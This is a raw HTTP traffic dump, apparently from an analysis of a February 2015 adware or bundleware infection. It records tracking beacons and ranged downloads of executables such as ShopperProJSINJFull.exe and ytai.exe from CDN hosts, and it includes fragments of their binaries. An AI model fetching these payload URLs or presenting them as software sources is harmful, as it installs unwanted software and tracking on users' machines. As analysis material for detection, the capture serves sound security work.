Content-Length: 0

Date: Tue, 24 Feb 2015 02:03:02 GMT

Connection: keep-alive

Set-Cookie: UID=120c9bfd-194.221.64.106-1384780341; expires=Mon, 13-Feb-2017 02:03:02 GMT; path=/; domain=.scorecardresearch.com

Set-Cookie: UIDR=1424743382; expires=Mon, 13-Feb-2017 02:03:02 GMT; path=/; domain=.scorecardresearch.com

P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
HTTP/1.1 204 No Content..Content-Length: 0..Date: Tue, 24 Feb 2015 02:
03:02 GMT..Connection: keep-alive..Set-Cookie: UID=120c9bfd-194.221.64
.106-1384780341; expires=Mon, 13-Feb-2017 02:03:02 GMT; path=/; domain
=.scorecardresearch.com..Set-Cookie: UIDR=1424743382; expires=Mon, 13-
Feb-2017 02:03:02 GMT; path=/; domain=.scorecardresearch.com..P3P: pol
icyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"..Pragm
a: no-cache..Expires: Mon, 01 Jan 1990 00:00:00 GMT..Cache-Control: pr
ivate, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate..

GET /widget/render/hash/d7eae1b4fbd18fff98b3bddeaf9fae0f HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://as.perfcreatives.com/eas?cu=25377&eme=WBrH3sO4

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d.addelive.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Vary: Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Date: Tue, 24 Feb 2015 02:03:01 GMT

Connection: Keep-Alive

X-Powered-By: PHP/5.4.26-1~dotdeb.1

Content-Length: 508
..........}..o.0...W.....>...I..:m4.".[5..{..9.......~@.)......}...
....oi..y....</?=.R.../~J.}v.._..Gpm....miJ]3E....Va.zFi.uv...Y..;.
.Z...CbNH[.a.]^.c.][email protected]%..$....
. . ....$.b....b.{...y>=..l.>..........5-.dc$.......j4..=ak-.R..
gO....O...7....r.G....<w6...S6......o.u.V.{...,/..T:T..{......MkH.[
.J....e..V.p.{...HF.O...7.uB7t&N$"......am#5.~.G.z.s....3*..t.0Eb9..X.
.3.\7..1l.^..>dfC.....\oz..-l&..r.v. ......R~0.;."'...q.."..2t.Dr..
R.(.>.Y.[b..k...;.......%.~...J{O...HTTP/1.1 200 OK..Server: Apache
..Vary: Accept-Encoding..Content-Type: text/html; charset=utf-8..Conte
nt-Encoding: gzip..P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM 
DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"..Date: Tue, 24 Feb 2
015 02:03:01 GMT..Connection: Keep-Alive..X-Powered-By: PHP/5.4.26-1~d
otdeb.1..Content-Length: 508............}..o.0...W.....>...I..:m4."
.[5..{..9.......~@.)......}.......oi..y....</?=.R.../~J.}v.._..Gpm.
...miJ]3E....Va.zFi.uv...Y..;..Z...CbNH[.a.]^.c.]..69..FQt....D......e
[email protected]%..$..... . ....$.b....b.{...y>=..l.>.....
.....5-.dc$.......j4..=ak-.R..gO....O...7....r.G....<w6...S6......o
.u.V.{...,/..T:T..{......MkH.[.J....e..V.p.{...HF.O...7.uB7t&N$"......
am#5.~.G.z.s....3*..t.0Eb9..X..3.\7..1l.^..>dfC.....\oz..-l&..r.v. 
......R~0.;."'...q.."..2t.Dr..R.(.>.Y.[b..k...;.......%.~...J{O....
.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=218682-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 218682-583151/583152

Content-Length: 364470

Connection: keep-alive
HTTP/1.1 206 Partial Content..Pragma: no-cache..Content-Type: applicat
ion/octet-stream..Server: Microsoft-IIS/7.5..Content-Disposition: atta
chment; filename=SourceAppSetup.exe..X-AspNet-Version: 4.0.30319..SVR:
 SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Cache-Control:
 private, max-age=86400..Expires: Wed, 25 Feb 2015 02:00:31 GMT..Date:
 Tue, 24 Feb 2015 02:00:31 GMT..Content-Range: bytes 218682-583151/583
152..Content-Length: 364470..Connection: keep-alive.......p.$o.=m%.\._
...........S...%.1/Q..c.....(..\a...N..~.?..u..).\..*..C.?...LrC~...A.
..e..Y..wg<..........*..H..:RSnl.. .&.;....S..P.Iw.B....0..[.....3.
.T.O......#.{.......5.....h....l.>7.C...1U..e`.{.Y...U...1%.2B...i.
.A.R.47JQ.J..`.n...X...hN..c..x.1...Dn.#........k.D....Nn....a....E...
e.X.>.`&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p...~....)...N~./v
[email protected](.....*.2....>...=.m....C.....jmpG.......l... ..R..a.3....m$x
nw..-kU...'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A.G...E7....UBT.H.
. Jc0E.....>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z.{..o.....Q^....'
....~...\e.....&.....WC..xQgeX...W.Xk....0....f..{..g....2....O....40 
......?.".........-....5*a.#...U~..I..MH`.....M.....G..Q.M.....~.P....
..Z.@sX>@..T.&...../....m}.p._..~..&..11..^[email protected]...'..K.g.j
]zi.....8.5S."8R....\.H.MO{..>.Yt.-....[@......lBI.Q...........7...
.TX^.....0.5.s.'..C.......9...P.....[.f...O.G....b.D...l......`.......
..c.."<...'.....X....,........q............).../.P.Pt3.T.p.A....ZY.
..`(.....;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....UG.{......*..<<< skipped >>>

GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.77 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/535559167_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.55 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:51 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.55 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /install.ashx?e=aQQpsP6/AW3r A4x0AgNXSGvd gjBe89TgoVHp2W0LdIOi3yA1xYQZ9Wus0NvW/mM8IevpAZmQKeLw31Ygf6oV0vxtxEGal90SqM717yNJ/j3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsx0eh4F9DwOE1qgTPL7jymlK4iUIGEzXSrL Evyupn5FoSAG857z6vS3DT74IwQ6Hz54Y ZWFdcjECmL0vJKiqlZ8BgHG7ns2/h73AEEnIRYjqH4uNI47xg0c/kAk2FomjL Evyupn5FoSAG857z6vSwZDcUuXsN3hAdl/mP5R tpawsc33Jvt4MKudcYkUx1u3m7wDMu3VYBGH92XQHP1gIbOkxAY4L4vcuIL7hrBEo1qFo7tQq4VMJfhPQ7wz8XEfzyeeCNKj6stCsCrExr/dLTgcouY3pl/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2032

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FpcV8bZzF9R32VjSn16zxXOMrRkpMfwOaC1byeed-5rdQ4zzySQWqw==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Qp.A8..~o.6Ei...3...M ..HT.....1g.(/.....D...
...G...KR.........W........}...S......:...5g)..~..2.1`.p.K.K.......0..
.(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y..1 
.u..Pb['.6Ei...3...M ..HT.....1g.(/.....z.-..8..Aa....d..cT:....W.{.."
......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.a
..W.%!...n`2x7..5..#....$.....r..B... .>B...dI.~.j.K..3........~..B
...Fy..\..ym...ID.....([email protected]..#...3.U..p...E...8Z.{Y.4n.)y..
B(.....p....`.....]._....R.f.z^B..\.^[email protected](..&>p.0..G....
..".......w.b....kTt......Kg..tt.u..u}1.....q....Q.p........7...[.....
.6.Ev....`.x9....\....$.R..K...WF...-..fm.....E..2;Q...Q.|.ry...F..:..
..g...%....z.#1.l..Y.^.....A;..?.i. .Z.....S.3R...Hj.....)\..A ..~.S..
s-..h...(.j...K5.;.......9.....;.C.....rl%..}.hP....z...........[..c..
..mm....b.&..._...$-.E#M@%."[email protected][email protected].]....
Z....\..V..".?.;u.7.-f3.,.......K.BC:T...,ib].X.$..F.64.......yD./....
|...{(.=gz....S.83%[email protected].@...).RF.....Z.n.aK. }...&.9..z...8
...y...a.s.....\.>&.`.#..........nG...?[a.>.v.....{..}..... .J&.
.....J..P3..7.....1......;.Xx....].}..."t.q......a.b...x.o.C!.:.a..>
;..c'..0i...q,..... .X.~...Pp{Lw.A.H.7..))-`.LJ F,.......C. .d.......B
..._...$.&>p.0...5.L..'5.....-14a...X..M...x....j.".d..#T.s.....a."
E.....-....c.d...j.....v..).P.6..z..[~..9....C.......2..n.\A..-..Y..K-
 .....e..C....4rlD..i0u...x..u.pd.'^..J........f..%7"...B..!WK.S9.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4681922
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4681922
j93.......g."iZ.m|.z[...@.*3..:.....-.M....!.b.......{......;....Z.L..
....*6.!N{ ...~..^.....W.. ...h..`..>....v...i,.|c...B..4..m.Lb..Z=
.I..4.......C:...N.F7....UD.......7...w.G.(~.3..7w.;.f..\I|... 2z...e,
.q0..%...<...?7.:..3H...o.>{K6EB..!..%G..\.q....'.....2V..G.6 ..
~.....u4`..1.o=.DV9P..G`....{.dy..)....n.h.^...-o.j..].....G.l|[email protected]
...f. .S...r...h.5.... 6..s.>...jb./WfYS....]....:*..>.r.aK...c.
......=...<.`..%...z.4....Ft~9.`N..."}.. 5....PkSnE.Q.%...`.....K4.
.....H.....$)....|...e8.....0..U................ju =#S...Zb.-.N....:..
n.oi.T<...X.p...].._W..U{..s.e..Y....'....!....Ny4.#.H..0..U....x.-
..C....p.T.2.3/..r]z@..."kW.Z../..fx...~.._......6.....2V6...L2..R...L
 ...R.n.Z.E..No..........z...n.... ."...:.GN../...o. .l....b.*.~.y)o.&
gt;....~X.]....-...W.&3.N.k.}..`3XzL.1.m...!..AX..N........v5s...x...H
}..........Y....,{1..?.6E..............."./o.%Rc.3f....'.....%...K.f.n
.....V..OD.....`[email protected]..`.....^....O
..c;S.8.....&Y.56.a....eG..$;...G.`.......s.L*.*...h..5L...g.~...k...4
....k:.....W..8...y.O....;...h.q.6..Zl.v.........'.,..T.......6....=.%
.1'"C.*J.U.&.8e....D..{..X}.......0...=.......u.H.]. .n39..G~...{..6(.
....B.aG..v#<f5.....l../<. ...Rn0.x|_.W.[..<..q.yprxY..e...t.
\.'..z....TA.ZjU.E.].l6........T...|.Dc(.wWf...|.......T.d...{.&w..Q"{
>~..&...9.0..../...... ......0h... .w.[.i.Sx.....j.#.@=.F...1.LYe..
.n...J..z!jTl.q..V&.... .....f...B`.#.i.!Q.]...DiR.CI.1...1....1......
QI..[...J.P..S.B.w.....R0...(q...-......Y......(../t ..]...U......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/4681922
.........-'K...%[email protected].[[email protected].^(&9....I.{*z.0...../%..d..
.x.T5...Q.....P.-..7...._u.w;[email protected]..?Z......E......?.
zq.$.4....j$U..........,...4~..j...`.R3uHi6..M,`.D..T.....R.r.yG*.P"=.
.ZX.>V...C.Ig.M.I....E...!.6....[....a.....v.....Y..6....sp.V6/..v.
./..~.a1\..N.u...J.Q".......6.=#......<.~.q..|.Ijo.........c.yp..U.
.... ..K`]W)...(....".....;.QD?5 ..2.;]->........P..Z_..;.....W....
.N..Q.{..T...........$..PY..(c..K.,.. ..4.5....V...)2.....t.|.]...I.. 
..cN/.g]`,P).....60..&.........8.H._........_.....rf.....bt=..=.,m....
8..K.%....D......................O,.........4O..MD.O\.].........#F.G..
~.....=.~..U...!A.5k..W...c7.A..CQ0.Y.$....Q...mdD.."u,..z.VF....-S.gK
..X.....}j..`p. ...'.]L...L...-.J.......-h...:....x]...h l...i...h..w.
..........w.L.....".@.!.f..)J.X.u...7.M.MnA#U.]....#.Ts...;..5.;#.9...
...&*.>z.....W:Qn...h.....?v.dYNy..-@.). zt>>...\..l.P..t..q.
..Ah...u.K..R-.....O.....&T.....t.4g..;.a..!.....Jw..[3.A....~.....q..
..Sb....81.Qe8...)I..L....=(...7g.l..\.R..Tq1j.=.O4.d*...I..=Rf..(.F..
.|......Es...............t|B...}*..v.....J..o....C_.e.s.fd..9...6.Z...
%)*..G5..4.e....J.^..Q....Y.M.._.-.......Y...4....s*Qq.j.....`...ub..e
L.....T=......?....R......~#...R.....>..H_R..........k.i....5?..D;.
 .u.....A....G....pG.3;:D.)......?........D..u..=.'].{|.....B.TG..K.jp
....E./@\Lj_........U........C..w.m|....G...F.lt)...3/am.Wq.H..;i.....
./......)xX8...'..X....n.Rb.$`.q.*.9.`...D...........=".K7..i.9VPP4r..
.V...>j?wny..?n.Al....[..}a....-,.O.?N..O...U`.xaW...uY2....i..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 02:01:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4681922
...@.......,.a..?...u..y..DZ....h".....<.rC..={.....K..U1.p4J......
b.a.c...v.?.x2................".8.........i9...`.!....g.....l...|.k.K.
.L.}[email protected]....?...t.mr..h].L._.....C....<:9.....].....y...
,.s....S.W........,........&.E....f.........y...m0a....j.6X....B\y....
..3......J. {..#...rF.....0..bb...66.A)`.........9.....&.......7......
..7.n...{......... m../.l.?..b...9.....[.N.....D.....5{Qh%YJrA.=.R._%O
...F.e..[...3.fUGF`.t...[T...4...D.*r....rJ.CM..]..s...0..=q.z...7G.;.
[email protected].(V%.@....|.|...C..
lz^..H..jJ..{....'. *Z4.F...3..}..M.p........y..c.......J.M.<......
...U?4z.8...A.q...{]j...aNZ...D-d.....?...L....#s....%..^).P........q.
tG...z..^....a......i{s....!.......E.... ....h.:.....-.,.3$.j..W..C[y.
Y...A0..'....6.."3S\3V.8..U. ...$.IU;LI.Y...|.Vuf....k.Nu.g..r-.......
.v..ql.(...`vIr.,..Z.Q^x...yL..sT..8R......C.\..'......1..E.....M.k...
.W......b.p.e&<....)..rs.....Y....".#A...~|.m.....p.]..rLYB..}....,
w.kR.....6m.^Z..._.....!..jN.Wi%J..2*..gQ.._..N.~.a.....!.q`.}.`GX.?..
[email protected]%.$3.>XV....a'.....$.,<G.}5V
.rp..D^p./..O]1........>....u...Q. [.....s...y..QQ.Kp..r .s.;..D...
<.5./.....w.s..".)C.|..../(......k..... .*$..<D.^T1.oB....ezWd..
..A.... .!|...b ..nAc.0........."..5...@%V....oi.u..j...\..@.*..y...oI
w..7u.L..# .7G\G.py'.v...Vf.........8..i....'.... "......6...v.J.....g
.x<^..l....1{...1 ..B.-..p*i.xf%....2............gT....z....&...uEK
f.....PhXK..;N..F5]......Yl4.'fT. ................-.....p1..?D..?.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



.<4...i.....6....N....@_..(...,P..F.X.....Z......2. O.....Q...zeIv.
`[email protected](.0..!U...}}.| ...tf.a.i...1...r......0V.M....<
t..a20..cZ....P.v.R.hV2.l.<T.`.\...d.../...nK..QB.$<o...x.......
6.f.....0...l.$.L.....k>.'[email protected],...%vM..a..*.PZJbs.
...).f1Z/........W............Jg{....../.m....8zVf.6yMt.U<...)=q..4
!b......M.k...K..&...d....O..u.7X.c...i. ....uB%p:a.........9tp$q[.x.h
..q.sh...u."....5.(...b...V..j0...:......Jue._~$c.}v..!"GA?`../....Q~.
.....G.i....Fk6e1..m8..h.z{.`)".(L...t..Q.%.....cox...r.@( 4.l.E....O1
Q...e8.Q|.YN#.i;Y[}.>.."e.#)......!....O.Esi......u..T...OJ2..6....
.G{.,......o...7V.L....'.E.7....s...HG..G.f.JOo.x!>..k..VT.H ^.....
R.YUE%{9...Y}.c.K.`>(dB..........1[[email protected].._.....
.zTL.......hD9w....4..i`.......H.Q..]@j.3(FT.......y...C..w'X.`E....0.
.E(....Y.b.~..Z...[....s{.#.......?)s.....>}'$.[......JO..\)-.....T
q..Q...P....(^.YB.T.......r.).=.Ia....5....i.84u...W..[.e.Yo.Q........
*..<..4.......%;k6...]F..............Z..eV...].^..Y...d....0iH..~.=
{6.y....Q..<.....^<x3.c....i...]E......pX..b./..4<..4......H.
8..:X.&k.....l......B*..E.y....Yq.E....... ..=:[email protected]....:....
...2..x....-[Gg...7v.....~....M.E..N... .!......<[email protected]. e..
..>..1G)...(x%..s.z7........:2.......Fs...d.s(..]1`.=6....F.=.;....
[email protected]@F..Y......=....8.f.7..))...........M...,z...Ca..}.F.'..
b...40..........p....T.... ..M........4...1HM\u.....H.jI...L.$.....b..
.......J.......6B...m......O..g.4...<.q.....'%!EO.r..M....8..M.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive



.C..{...$X.....L$...s....$P...d......Y_^[..$8...3..m.....].V...F...u..
..P..F.^.j....H...^....3..}.9~ t..M..F.P.Y........P..M..F.P.F....}..E.
.....E..f^.....h.......H...^...].3..................................E.
...........?....E........QP..............E........;.t ...9....>....
...F........F.......3....F..F..E.............W.M.......E...E.j.j.P....
[email protected]........./....E................w].....V..
.F...u....P..F.^.j..c.H..r].....N..}.;.sB9>w> >..j..[....;N.u
.Q...R....N.k...M..M....e....t.P......M...^../;N.u.Q... ....N..M..M..E
.......t.W......M...F....\..........V..W.>..t S.^...j.j...........;
.u..6.....3.Y...F..F.[_^.U..V..3.W.}....F..F...u.2.........w.W.&...k..
...F......N._^]...h.uJ.......j....H..Z\...M..M..e....t..u.......M....\
.....U..V..3.j.P.u..f...F.....f.........^]...j....H...\.....u..&...Y..
3..U..~.j.Y3..O..W.f...E...^ .K..S.f...E...NL3..VHf.N8.E....P.u....V..
N>.....E..3..E..HX.H\.H`.E...Hh..Hl.Hp.Ht.E...Hx.H|.......E........
.............E.....................E........................f.......E.
.h$uJ......YPh$uJ....)....}..Gl.Gp...Gx.G|.............}...3..HwJ.V...
....G..Gd.g...YPV.........wJ.V.R...YPV.O8.....j..=P.M.....I..M.....iZ.
[email protected].....]..E............Cl.KP.C
p.Cx.C|...F......3........C..Cd....I..E........j.j..5....E.........'..
..E.....2....E...Kx.&....E...{l.t..sl.U...3.Y.Cl.Cp.Ct.E...KX......E..
.KP.M..E........E...K8j.j.......E...K j.j.......E...K.j.j.......M.....
D....IY...j....H..nY.....e...Nh..>.t%..l.......R....|.....l..h.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:05 GMT

Content-Range: bytes 500000-749999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EAQwOwqiUjJmkn79JVQJwPMJxFS7-CmoX6o82-h268f0oe8_MIhKBQ==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Tue, 24 Feb 2015 02:01:05 GMT..Content-Range: bytes 5000
00-749999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 ad1289c08e1
5a848e5c2bc019529785a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: EAQwOw
qiUjJmkn79JVQJwPMJxFS7-CmoX6o82-h268f0oe8_MIhKBQ==..PQ..tM.3.P.E.d....
..M..E.P........P.(\.....P.M...^...E......M..........E......E..M.d....
..Y..]..................U..Q.M..M.......E.P.H......P.M.......E...]....
..U..Q.E......}..u..$.}.fff.w.kE.(P.].......E..}..u.......E...]...U..Q
.E......}..u..$.}.I.$.w.kE..P.........E..}..u.......E...]...U..j.h .I.
d.....PQ.. SVW..tM.3.P.E.d......e..M..M...}...E..E.P............M.Q...
.........E......U.R.H.......E..E.P.9.......E..M.Q.*.......E..U.R......
...E..E.P.M.......E..M.Q.U.R.E.P.M.Q..~.....P.M..UT.....U.R.M..w...j.j
.......1.G...E........E......E..M.d......Y_^[..][email protected]
.. SVW..tM.3.P.E.d......e..M..M...z...E..E.P............M.Q...........
.E......U.R.8~......E..E.P.)~......E..M.Q..~......E..U.R.........E..E.
P.M.......E..M.Q.U.R.E.P.M.Q..}.....P.M...P.....U.R.M..g...j.j.......A
.G...E........E......E..M.d......Y_^[..]....U..j.h`.I.d.....PQ.. SVW..
tM.3.P.E.d......e..M..M...y...E..E.P............M.Q............E......
U.R.(}......E..E.P..}......E..M.Q..}......E..U.R.........E..E.P.M.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 206160

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:06 GMT

Content-Range: bytes 1000000-1206159/1206160

X-Cache: Miss from cloudfront

Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mafOx7TeMNBlcBPPIXKd5HjbpSfu8dNncuyLCZzx6dm3TQO0E7WMdA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 206160..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Tue, 24 Feb 2015 02:01:06 GMT..Content-Range: bytes 1000
000-1206159/1206160..X-Cache: Miss from cloudfront..Via: 1.1 ad1289c08
